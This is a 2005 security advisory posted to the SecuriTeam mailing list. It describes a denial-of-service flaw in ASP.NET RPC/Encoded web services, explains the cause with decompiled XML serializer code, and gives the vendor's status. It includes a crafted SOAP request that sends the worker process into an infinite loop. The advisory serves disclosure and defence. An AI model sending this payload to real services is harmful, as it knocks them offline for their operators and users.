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| Subject: | [NT] ASP.NET RCP/Encoded Web Service DoS |
|---|---|
| Date: | 21 Jul 2005 13:55:41 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - ASP.NET RCP/Encoded Web Service DoS ------------------------------------------------------------------------ SUMMARY By sending a custom SOAP message to an RCP/Encoded web method attackers can cause a denial of service in Microsoft's ASP.NET enviroment. DETAILS By sending a custom SOAP message to an RCP/Encoded web method that accepts an array (or any object derived from Ilist, like StringCollection or ArrayList), attackers can cause the aspnet_wp.exe process to consume 100% of the system resources. If the system is a bit faster, you may add more then one request in order to cause the DoS condition. To replicate the issue, attackers can send a request to the Test(int[] someList) web method defined inside the AspCrashWebService project (refer to AspCrashWebService.zip distributed with this document). A normal SOAP message to call this method with a single element of 0 would look like: <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://tempuri.org/" xmlns:types="http://tempuri.org/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <tns:Test> <someList href="#id1" /> </tns:Test> <soapenc:Array id="id1" soapenc:arrayType="xsd:int[1]"> <Item>0</Item> </soapenc:Array> </soap:Body> </soap:Envelope> If attackers changes the <soapenc:Array> definition with the complex type defined in demo ASPCrashWebService.Service1 WSDL definition (ArrayOfInt), attackers will cause the problem in aspnet_wp.exe. The new request would look like: <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://tempuri.org/" xmlns:types="http://tempuri.org/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <tns:Test> <someList href="#id1" /> </tns:Test> <tns:ArrayOfInt> <Item>0</Item> </tns:ArrayOfint> </soap:Body> </soap:Envelope> The error is caused due to an infinite loop inside System.Xml.Serialization.Xml.XmlSerializationReader.ReadReferencedElements (). The method can be translated to the following code: protected void ReadReferencedElements() { string V_0; r.MoveToContent(); while (r.NodeType != XmlNodeType.EndElement && r.NodeType != XmlNodeType.None) { ReadReferencingElement(null, null, true, out V_0); r.MoveToContent(); } DoFixups(); HandleUnreferencedObjects(); } The problem is that after the call to ReadRefencingElement() the r.NodeType is set to XmlNodeType.Element and the while loop never terminates. Vendor Status: RCP/Encoded web services are not recommended by Microsoft. Developers should utilize document/literal instead, which is not affected by this issue. The Microsoft Security Response Center has stated that this issue will be addressed in the upcoming "Whidbey" release of Web Services. In the interim, the aspnet_wp.exe service can be restarted and operation will resume without problems. ADDITIONAL INFORMATION The information has been provided by <mailto:spilabs@spidynamics.com> SPI Labs. The original article can be found at: <http://www.spidynamics.com/spilabs/advisories/aspRCP.html> http://www.spidynamics.com/spilabs/advisories/aspRCP.html ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
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